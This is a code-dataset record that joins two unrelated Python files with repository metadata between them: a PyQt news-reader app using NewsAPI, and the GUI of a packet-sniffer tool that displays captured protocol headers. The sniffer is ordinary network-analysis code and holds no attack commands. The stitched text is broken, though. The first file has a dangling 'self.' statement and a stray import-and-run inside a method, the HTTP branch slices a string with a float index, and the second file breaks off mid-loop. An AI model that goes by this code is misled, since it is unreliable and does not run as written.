import os import sys import json from PyQt5 import QtCore from PyQt5.QtWidgets import QApplication, QInputDialog, QMainWindow from GUI import Ui_MainWindow from content_box import content_box from newsapi import NewsApiClient class config(Ui_MainWindow): def __init__(self,MainWindow): super().__init__(MainWindow) if self.check_api_key(): with open('data/data.json','r') as f: dicti = json.load(f) self.API_KEY = dicti['API_KEY'] self.newsapi = NewsApiClient(api_key = self.API_KEY) self.list_contents =[] self. self.add_option() self.add_details() self.add_action() self.action() def check_api_key(self): with open('data/data.json','r') as f: dicti = json.load(f) if dicti['API_KEY'] == None: text,ok = QInputDialog.getText(self,'Api key','Please enter your api key.\nTo get your api key <a href = https://newsapi.org>Click Here</a>') if ok: os.remove('data/data.json') with open('data/data.json','w') as l: dicti['API_KEY'] = text json.dump(dicti,l,indent = 4) return True else : return False return True def add_option(self): self.Option.addItem("Top Headlines") self.Option.addItem("Everything") self.Option.activated[str].connect(self.changeStackWid) self.Option_2.addItem("Everything") self.Option_2.addItem("Top Headlines") self.Option_2.activated[str].connect(self.changeStackWid) def add_details(self): with open('data/data.json') as f: dicti = json.load(f) # Page 1 #Adding Category for i in dicti['top_headline_category']: self.Cat.addItem(i) #Adding Country for i in dicti['top_headline_country'].keys(): self.count.addItem(i) # Page 2 #Adding Language for i in dicti['everything_language'].keys(): self.Language.addItem(i) #Adding sortBy for i in dicti['everything_sortBy'].keys(): self.Sort_by.addItem(i) def add_action(self): self.count.activated[str].connect(self.action) self.Cat.activated[str].connect(self.action) self.Language.activated[str].connect(self.action) self.Sort_by.activated[str].connect(self.action) def eventFilter(self,obj,event): if event.type() == QtCore.QEvent.KeyPress and (obj is self.q_2 or obj is self.q_3): if event.key() == QtCore.Qt.Key_Return: self.action() def changeStackWid(self,text): if text == "Everything": self.stackedWidget_2.setCurrentIndex(1) self.action() else: self.stackedWidget_2.setCurrentIndex(0) self.action() def action(self): if self.Option.currentText() == "Top Headlines": q = self.q_2.displayText() category = self.Cat.currentText() with open('data/data.json') as f: dicti = json.load(f) Country = dicti['top_headline_country'][self.count.currentText()] self.top_headline_add(q,category,Country) else : q = self.q_3.displayText() with open('data/data.json') as f: dicti = json.load(f) Language = dicti['everything_language'][self.Language.currentText()] sortby = dicti['everything_sortBy'][self.Sort_by.currentText()] self.everything_add(q,Language,sortby) def top_headline_add(self,q, category,country): response = self.newsapi.get_top_headlines(q=q,category=category,country=country) self.del_content_boxes() m=0 for i in response['articles']: if m==3: break self.add_content_boxes(i['url'],i['urlToImage'],i['title'],i['description']) m+=1 def everything_add(self,q,lang,sorty): response = self.newsapi.get_everything(q=q,language=lang,sort_by=sorty) self.del_content_boxes() m=0 for i in response['articles']: if m==3: break self.add_content_boxes(i['url'],i['urlToImage'],i['title'],i['description']) m+=1 def add_content_boxes(self,url,urltoimg,title,description): obj = content_box(title,url,description,urltoimg) self.list_contents.append(obj) self.verticalLayout.addWidget(obj) def del_content_boxes(self): if len(self.list_contents) > 0: for items in self.list_contents: # self.verticalLayout.removeWidget(items) # self.verticalLayout.update() items.hide() import trial trial.main() def main(): app = QApplication(sys.argv) UI = QMainWindow() UI.show() ex = config(UI) # ex.show() sys.exit(app.exec_()) if __name__ == "__main__": main()
[ "tanmaydaga06@gmail.com" ]
tanmaydaga06@gmail.com
11bf09718bef032be25606a560227f959a1fa11d
5733d18304309391a689a96af93d8f600f79d720
/Window.py
980e444cca31afb5db4c997f60016ccf6b2f0588
[]
no_license
Ye7ia01/The_Silent_Observer
8158f9a8d51b6205aae354f28382a187b0bde822
ca4e4972991fe56919327266e8346812947875db
refs/heads/master
2021-08-31T22:52:57.413805
2017-12-23T07:55:38
2017-12-23T07:55:38
115,153,366
0
0
null
null
null
null
UTF-8
Python
false
false
41,491
py
from PyQt5.QtWidgets import QWidget, QPushButton , QHBoxLayout , QLineEdit , QVBoxLayout, QRadioButton , QLabel , QScrollArea , QTableWidget , QTableWidgetItem , QMessageBox from PyQt5.QtGui import QIcon , QPalette from PyQt5.QtCore import * import Recon import threading class Window(QWidget): Device = "" stop = False info = [] flag = 0 det = [] container = QVBoxLayout() details = QVBoxLayout() currnet = 0 http_header = "" stopped_before = False def __init__(self): QWidget.__init__(self) self.window() def window(self): about = QHBoxLayout() devices = Recon.find_devs() p = QPalette() p.setColor(QPalette.Background,Qt.lightGray) p2 = QPalette() p2.setColor(QPalette.Background,Qt.darkRed) capture = QPushButton('') capture.setIcon(QIcon('silent_observer.png')) capture.setDisabled(True) capture.setPalette(p2) capture.clicked.connect(lambda: self.capture(self.Device,stop,filter.text(),packets,save,capture)) stop = QPushButton('') stop.setPalette(p2) stop.clicked.connect(self.stop_capture) stop.setIcon(QIcon('pause3.png')) stop.setDisabled(True) open = QPushButton() open.setIcon(QIcon('file.png')) open.setPalette(p2) save = QPushButton("") save.setIcon(QIcon('save2.png')) save.setPalette(p2) save.setDisabled(True) save.clicked.connect( lambda :self.save(file_name)) rb = [] choose = QLabel('Choose An Inetrface To Sniff On : ') choose.setAutoFillBackground(True) choose.setPalette(p) about.addWidget(choose) about.addStretch() filter = QLineEdit('') filter.setAutoFillBackground(True) filter.setPalette(p2) #search.clicked.connect(lambda : self.search(self.Device,stop,search,filter.text(),packets)) for i in range(0, len(devices)): rb.append(QRadioButton(devices[i])) about.addWidget(rb[i]) rb[i].setWindowIcon(QIcon('_?.png')) rb[i].setPalette(p2) for i in range(0, len(devices)): rb[i].toggled.connect(lambda :self.set_device(capture)) file_name = QLineEdit("File Name") self.container.addLayout(about) config = QHBoxLayout() config.addWidget(capture) config.addWidget(stop) config.addWidget(filter) config.addStretch() config.addWidget(save) config.addWidget(file_name) config.addStretch() config.addWidget(choose) self.container.addLayout(config) packets_details = QHBoxLayout() packets = QTableWidget() packets.setRowCount(20000) packets.setColumnCount(5) packets.setHorizontalHeaderItem(0, QTableWidgetItem("Details .. ")) packets.setHorizontalHeaderItem(1, QTableWidgetItem("Source ")) packets.setHorizontalHeaderItem(2, QTableWidgetItem("Destination ")) packets.setHorizontalHeaderItem(3, QTableWidgetItem("Protocol")) packets.setHorizontalHeaderItem(4, QTableWidgetItem("length")) packets.itemClicked.connect(lambda row :self.update_details(row,hex_view)) packets_details.addWidget(packets) hex_view = QLabel("[*]/HEX/VIEW/[*]") hex_view.setAutoFillBackground(True) hex_view.setPalette(p) packets_details.addLayout(self.details) widget = QWidget() layout = QVBoxLayout(self) for i in range(1000): self.det.append(QLabel("")) layout.addWidget(self.det[i]) widget.setLayout(layout) p3 = QPalette() p3.setColor(QPalette.Background, Qt.darkGreen) self.det[0].setText("----------------------------------------------------------------------------------------------------------------------") self.det[0].setAutoFillBackground(True) self.det[0].setPalette(p2) self.det[1].setText(" T / H / E ---------- S / I / L / E / N / T ------------- 0 / B / S / E / R / V / E / R ") self.det[2].setText("----------------------------------------------------------------------------------------------------------------------") self.det[1].setAutoFillBackground(True) self.det[1].setPalette(p) self.det[1].setAutoFillBackground(True) self.det[2].setAutoFillBackground(True) self.det[2].setPalette(p2) scroll = QScrollArea() scroll.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) scroll.setWidgetResizable(False) scroll.setWidget(widget) self.details.addWidget(scroll) self.details.addWidget(hex_view) self.container.addLayout(packets_details) self.setLayout(self.container) # Functions def set_device(self,cap): rb = self.sender() self.Device = rb.text() cap.setDisabled(False) # Capturing Packets : def capture(self,device,stop,filter,packets,save,capture): stop.setDisabled(False) save.setDisabled(False) capture.setDisabled(True) if(not self.stopped_before): Recon.capture(device) self.init_get_packets(filter,packets) else: self.clear_table(packets) for i in self.info: for j in i: j="" Recon.stop=False self.stop = False Recon.capture(device) self.init_get_packets(filter,packets) def init_get_packets(self,filter,packets): t = threading.Thread(target=self.get_packets,args=(filter,packets)) t.start() def get_packets(self,filter,packets): counter = 0 search = filter.upper() while True: packet = Recon.get_packet(counter) if (len(packet) == 0): continue else : if(filter == "" ): self.info.append(packet) elif (search in packet): self.info.append(packet) self.update_table(packets) counter += 1 if (self.stop == True): return # ----------------------------------------------------------------------- # Stop Capturing : def stop_capture(self): #self.stopped_before = True self.stop = True Recon.stop = True #------------------------------------------------------------------------- # Search : def search(self,device,stop,search,filter,packets): if (filter == ""): return for i in range(0,1999): packets.setItem(i, 0 ,QTableWidgetItem("")) packets.setItem(i, 1, QTableWidgetItem("")) packets.setItem(i, 2, QTableWidgetItem("")) packets.setItem(i, 3, QTableWidgetItem("")) packets.setItem(i, 4, QTableWidgetItem("")) self.capture(device,stop,search,filter,packets) # Packet Global Info Representation def update_table(self,table): if (len(self.info) == 0): """do nothing """ else : for i in range(self.flag,len(self.info)): #table.setItem(i,0,QTableWidgetItem(str(self.info[i][0]))) table.setItem(i, 0, QTableWidgetItem("Click")) table.setItem(i, 1, QTableWidgetItem(str(self.info[i][2]))) table.setItem(i, 2, QTableWidgetItem(str(self.info[i][3]))) if(self.info[i][3] == ""): table.setItem(i, 3, QTableWidgetItem("Un-Known")) else: table.setItem(i, 3, QTableWidgetItem(str(self.info[i][4]))) table.setItem(i, 4, QTableWidgetItem(str(self.info[i][5]))) self.flag = i def update_details(self,row,data): r = row.row() proto = self.info[r][4] p = QPalette() p.setColor(QPalette.Background, Qt.lightGray) frame = "[*]/Frame/[*] .... : " eth = "[*]/Ethernet/[*] .... : " ip = "[*]/IP[*] .... : " tcp = "[*]/TCP/[*] .... : " udp = "[*]/UDP/[*] .... : " http = "[*]/HTTP/[*] .... : " hex = "[*]/Hex/View/[*] .... : " icmp = "[*]/ICMP/[*] .... : " dns = "[*]/DNS/[*] .... : " mdns = "[*]/MDNS/[*] .... : " ntp = "[*]/NTP/[*] .... : " arp = "[*]/ARP/[*] .... : " ftp = "[*]/FTP/[*] .... : " tls = "[*]/TLS/[*] .... : " if(not self.stopped_before): self.det[4].setText(frame) self.det[4].setAutoFillBackground(True) self.det[4].setPalette(p) self.det[5].setText(" [ Time Caught : " + str(self.info[r][0]) + " ] ") self.det[6].setText(" [ Frame Size : " + str(self.info[r][5])+ " ] ") self.det[7].setText(" [ Packet Number : " + str(self.info[r][1]) + " ] ") self.det[8].setText(" [ Interface : " + self.Device) if (proto == "TCP"): self.det[10].setText("") self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8]) + " ] ") self.det[12].setText(" [ Source Mac : " + str(self.info[r][9]) + " ] ") self.det[13].setText(" [Type : " + str(self.info[r][7]) + " ] ") self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]" ) self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][21]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setText(tcp) self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[30].setText(" [ Source Port : " +self.info[r][22] +" ] ") self.det[31].setText(" [ Destination Port : " +self.info[r][23]+ " ] ") self.det[32].setText(" [ Sequence Number : " +self.info[r][24]+ " ( Real ) ] ") self.det[33].setText(" [ Acknowledgment Number : " +self.info[r][25]+ " ( Real ) ] ") self.det[34].setText(" [ Header Length : " +self.info[r][27]+ " ] ") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(False) self.det[35].setText(" [ Reserved Bit : " +self.info[r][28] + " ] ") self.det[36].setText(" [ Flags : " +self.info[r][29] + " ] ") self.det[37].setText(" [ Window Size : " +str(self.info[r][30]) + " ] ") self.det[38].setText(" [ Checksum : " +str(self.info[r][26])+ " ] ") self.det[39].setText(" [ Urgent Pointer : " +str(self.info[r][31]) + " ] ") self.det[41].setText("") self.det[41].setAutoFillBackground(False) self.det[41].setPalette(p) self.det[42].setText("") self.det[43].setText("") self.det[44].setText("") self.det[45].setText("") self.det[46].setText("") self.det[47].setText("") self.det[48].setText("") self.det[49].setText("") self.det[50].setText("") self.det[51].setText("") self.det[52].setText("") self.det[53].setText("") data.setText(str(self.info[r][32])) elif (proto == "UDP"): self.det[10].setText("") self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][8])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]") self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][19]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setText(udp) self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[30].setText(" [ Source Port : "+str(self.info[r][22]) + " ] ") self.det[31].setText(" [ Destination Port : " + str(self.info[r][23]) + " ] ") self.det[32].setText(" [ Total Length : " + str(self.info[r][24]) + " ] ") self.det[33].setText(" [ Checksum : " + str(self.info[r][25]) + " ] ") self.det[34].setText("") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(False) self.det[35].setText("") self.det[36].setText("") self.det[37].setText("") self.det[38].setText("") self.det[39].setText("") self.det[40].setText("") data.setText(hex + "\n" + self.info[r][25]) self.det[41].setText("") self.det[41].setAutoFillBackground(False) self.det[41].setPalette(p) self.det[42].setText("") self.det[43].setText("") self.det[44].setText("") self.det[45].setText("") self.det[46].setText("") self.det[47].setText("") self.det[48].setText("") self.det[49].setText("") self.det[50].setText("") self.det[51].setText("") self.det[52].setText("") self.det[53].setText("") elif (proto == "ICMP"): self.det[10].setText("") self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][9])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]") self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][19]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[29].setText(icmp) self.det[30].setText(" [ Type : "+ str(self.info[r][22]) + " ( " + str(self.info[r][27]) + " ) ]") self.det[31].setText(" [ Code : " + str(self.info[r][23]) + " ]") self.det[32].setText(" [ Checksum : " + str(self.info[r][24]) + " ]") self.det[33].setText(" [ Identifier : " + str(self.info[r][25]) + " ]") self.det[34].setText(" [ Sequence Number : " + str(self.info[r][26]) + " ]") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(False) data.setText(hex + "\n" + self.info[r][28]) elif (proto == "ARP"): self.det[10].setText("") self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][9])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[15].setText(arp) self.det[16].setText("Protocol Not Yet Supported") for i in range(17,50): self.det[i].setText("") self.det[10].setAutoFillBackground(False) self.det[15].setAutoFillBackground(False) self.det[29].setAutoFillBackground(False) self.det[36].setAutoFillBackground(False) self.det[41].setAutoFillBackground(False) elif (proto == "HTTP"): self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][9])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]") self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][19]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setText(tcp) self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[30].setText(" [ Source Port : " +self.info[r][22] +" ] ") self.det[31].setText(" [ Destination Port : " +self.info[r][23]+ " ] ") self.det[32].setText(" [ Sequence Number : " +self.info[r][24]+ " ] ") self.det[33].setText(" [ Acknowledgment Number : " +self.info[r][25]+ " ] ") self.det[34].setText(" [ Header Length : " +self.info[r][27]+ " ] ") self.det[35].setText(" [ Reserved : " + self.info[r][28] + " ] ") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(False) self.det[36].setText(" [ Flags : " + self.info[r][29] + " ] ") self.det[37].setText(" [ Window : " +str(self.info[r][30]) + " ] ") self.det[38].setText(" [ Checksum : " +self.info[r][26]+ " ] ") self.det[39].setText(" [ Urgent : " + str(self.info[r][31]) + " ] ") self.det[41].setText(http) self.det[41].setAutoFillBackground(True) self.det[41].setPalette(p) pos = 42 count = 0 for i in self.info[r][33]: if ( (i=="G") or (i=="H" ) or (i == "P")): self.det[42].setText(self.info[r][33][count:count+50]) self.det[43].setText(self.info[r][33][count+50:count + 100]) self.det[44].setText(self.info[r][33][count+100:count + 150]) self.det[45].setText(self.info[r][33][count+150:count + 200]) self.det[46].setText(self.info[r][33][count+200:count + 250]) self.det[47].setText(self.info[r][33][count+250:count + 300]) self.det[48].setText(self.info[r][33][count+300:count + 350]) self.det[49].setText(self.info[r][33][count+350:count + 400]) break count+=1 data.setText(hex + "\n" + self.info[r][32][:len(self.info[r][32])/4]) elif (proto == "DNS"): self.det[10].setText("") self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][9])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]") self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][19]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setText(udp) self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[30].setText(" [ Source Port : " + str(self.info[r][22]) + " ] ") self.det[31].setText(" [ Destination Port : " + str(self.info[r][23]) + " ] ") self.det[32].setText(" [ Total Length : " + str(self.info[r][24]) + " ] ") self.det[33].setText(" [ Checksum : " + str(self.info[r][25]) + " ] ") self.det[34].setText("") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(True) self.det[36].setPalette(p) self.det[35].setText("") self.det[36].setText(dns) self.det[37].setText("Protocol Not Yet Supported") self.det[38].setText("") self.det[39].setText("") self.det[40].setText("") data.setText(hex + "\n" + self.info[r][26]) self.det[41].setText("") self.det[41].setAutoFillBackground(False) self.det[41].setPalette(p) self.det[42].setText("") self.det[43].setText("") self.det[44].setText("") self.det[45].setText("") self.det[46].setText("") self.det[47].setText("") self.det[48].setText("") self.det[49].setText("") self.det[50].setText("") self.det[51].setText("") self.det[52].setText("") self.det[53].setText("") elif (proto == "MDNS"): self.det[10].setText("") self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][9])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]") self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][19]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setText(udp) self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[30].setText(" [ Source Port : " + str(self.info[r][22]) + " ] ") self.det[31].setText(" [ Destination Port : " + str(self.info[r][23]) + " ] ") self.det[32].setText(" [ Total Length : " + str(self.info[r][24]) + " ] ") self.det[33].setText(" [ Checksum : " + str(self.info[r][25]) + " ] ") self.det[34].setText("") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(True) self.det[36].setPalette(p) self.det[35].setText("") self.det[36].setText(mdns) self.det[37].setText("") self.det[38].setText("") self.det[39].setText("") self.det[40].setText("") data.setText(hex + "\n" + self.info[r][26]) self.det[41].setText("") self.det[41].setAutoFillBackground(False) self.det[41].setPalette(p) self.det[42].setText("") self.det[43].setText("") self.det[44].setText("") self.det[45].setText("") self.det[46].setText("") self.det[47].setText("") self.det[48].setText("") self.det[49].setText("") self.det[50].setText("") self.det[51].setText("") self.det[52].setText("") self.det[53].setText("") elif (proto == "NTP"): self.det[10].setText("") self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][9])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]") self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][19]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setText(udp) self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[30].setText(" [ Source Port : " + str(self.info[r][22]) + " ] ") self.det[31].setText(" [ Destination Port : " + str(self.info[r][23]) + " ] ") self.det[32].setText(" [ Total Length : " + str(self.info[r][24]) + " ] ") self.det[33].setText(" [ Checksum : " + str(self.info[r][25]) + " ] ") self.det[34].setText("") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(True) self.det[36].setPalette(p) self.det[35].setText("") self.det[36].setText(ntp) self.det[37].setText("Protocol Not Yet Supported") self.det[38].setText("") self.det[39].setText("") self.det[40].setText("") data.setText(hex + "\n" + self.info[r][25]) self.det[41].setText("") self.det[41].setAutoFillBackground(False) self.det[41].setPalette(p) self.det[42].setText("") self.det[43].setText("") self.det[44].setText("") self.det[45].setText("") self.det[46].setText("") self.det[47].setText("") self.det[48].setText("") self.det[49].setText("") self.det[50].setText("") self.det[51].setText("") self.det[52].setText("") self.det[53].setText("") elif (proto == "FTP"): self.det[10].setText(eth) self.det[10].setAutoFillBackground(True) self.det[10].setPalette(p) self.det[11].setText(" [ Destination Mac : " + str(self.info[r][8])) self.det[12].setText(" [ Source Mac : " + str(self.info[r][9])) self.det[13].setText(" [Type : " + str(self.info[r][7])) self.det[15].setText(ip) self.det[15].setAutoFillBackground(True) self.det[15].setPalette(p) self.det[16].setText(" [ Version : " + str(self.info[r][10]) + " ]") self.det[17].setText(" [ Header Length : " + str(self.info[r][11]) + " ]") self.det[18].setText(" [ Differentiated Service : " + str(self.info[r][19]) + " ]") self.det[19].setText(" [ Datagram Length : " + str(self.info[r][12]) + " ]") self.det[20].setText(" [ Datagram ID : " + str(self.info[r][13]) + " ]") self.det[21].setText(" [ Flags : " + str(self.info[r][14]) + " ]") self.det[22].setText(" [ Fragment Offset : " + str(self.info[r][15]) + " ]") self.det[23].setText(" [ Time To Live : " + str(self.info[r][16]) + " ]") self.det[24].setText(" [ Protocol : " + str(self.info[r][17]) + " ]") self.det[25].setText(" [ Checksum : " + str(self.info[r][20]) + " ]") self.det[26].setText(" [ Souce IP : " + str(self.info[r][18]) + " ]") self.det[27].setText(" [ Destination IP : " + str(self.info[r][19]) + " ]") self.det[29].setText(tcp) self.det[29].setAutoFillBackground(True) self.det[29].setPalette(p) self.det[30].setText(" [ Source Port : " + str(self.info[r][22]) + " ] ") self.det[31].setText(" [ Destination Port : " + str(self.info[r][23]) + " ] ") self.det[32].setText(" [ Sequence Number : " + str(self.info[r][24]) + " ] ") self.det[33].setText(" [ Acknowledgment Number : " + str(self.info[r][25]) + " ] ") self.det[34].setText(" [ Header Length : " + str(self.info[r][27]) + " ] ") self.det[35].setText(" [ Reserved : " + str(self.info[r][28]) + " ] ") self.det[35].setAutoFillBackground(False) self.det[36].setAutoFillBackground(False) self.det[36].setText(" [ Flags : " + self.info[r][29] + " ] ") self.det[37].setText(" [ Window : " + str(self.info[r][30]) + " ] ") self.det[38].setText(" [ Checksum : " + self.info[r][26] + " ] ") self.det[39].setText(" [ Urgent : " + str(self.info[r][31]) + " ] ") self.det[41].setText(ftp) self.det[41].setAutoFillBackground(True) self.det[41].setPalette(p) self.det[42].setText(self.info[r][33]) """count = 0 for i in self.info[r][33]: if ((i == "G") or (i == "H") or (i == "P") or (i=="L") or (i=="Q") ): self.det[42].setText(self.info[r][33][count:count + 50]) self.det[43].setText(self.info[r][33][count + 50:count + 100]) self.det[44].setText(self.info[r][33][count + 100:count + 150]) self.det[45].setText(self.info[r][33][count + 150:count + 200]) self.det[46].setText(self.info[r][33][count + 200:count + 250]) self.det[47].setText(self.info[r][33][count + 250:count + 300]) self.det[48].setText(self.info[r][33][count + 300:count + 350]) self.det[49].setText(self.info[r][33][count + 350:count + 400]) break count+=1 #self.det[42].setText(str(self.info[r][36]))""" data.setText(self.info[r][32]) else : for i in range(10,50): 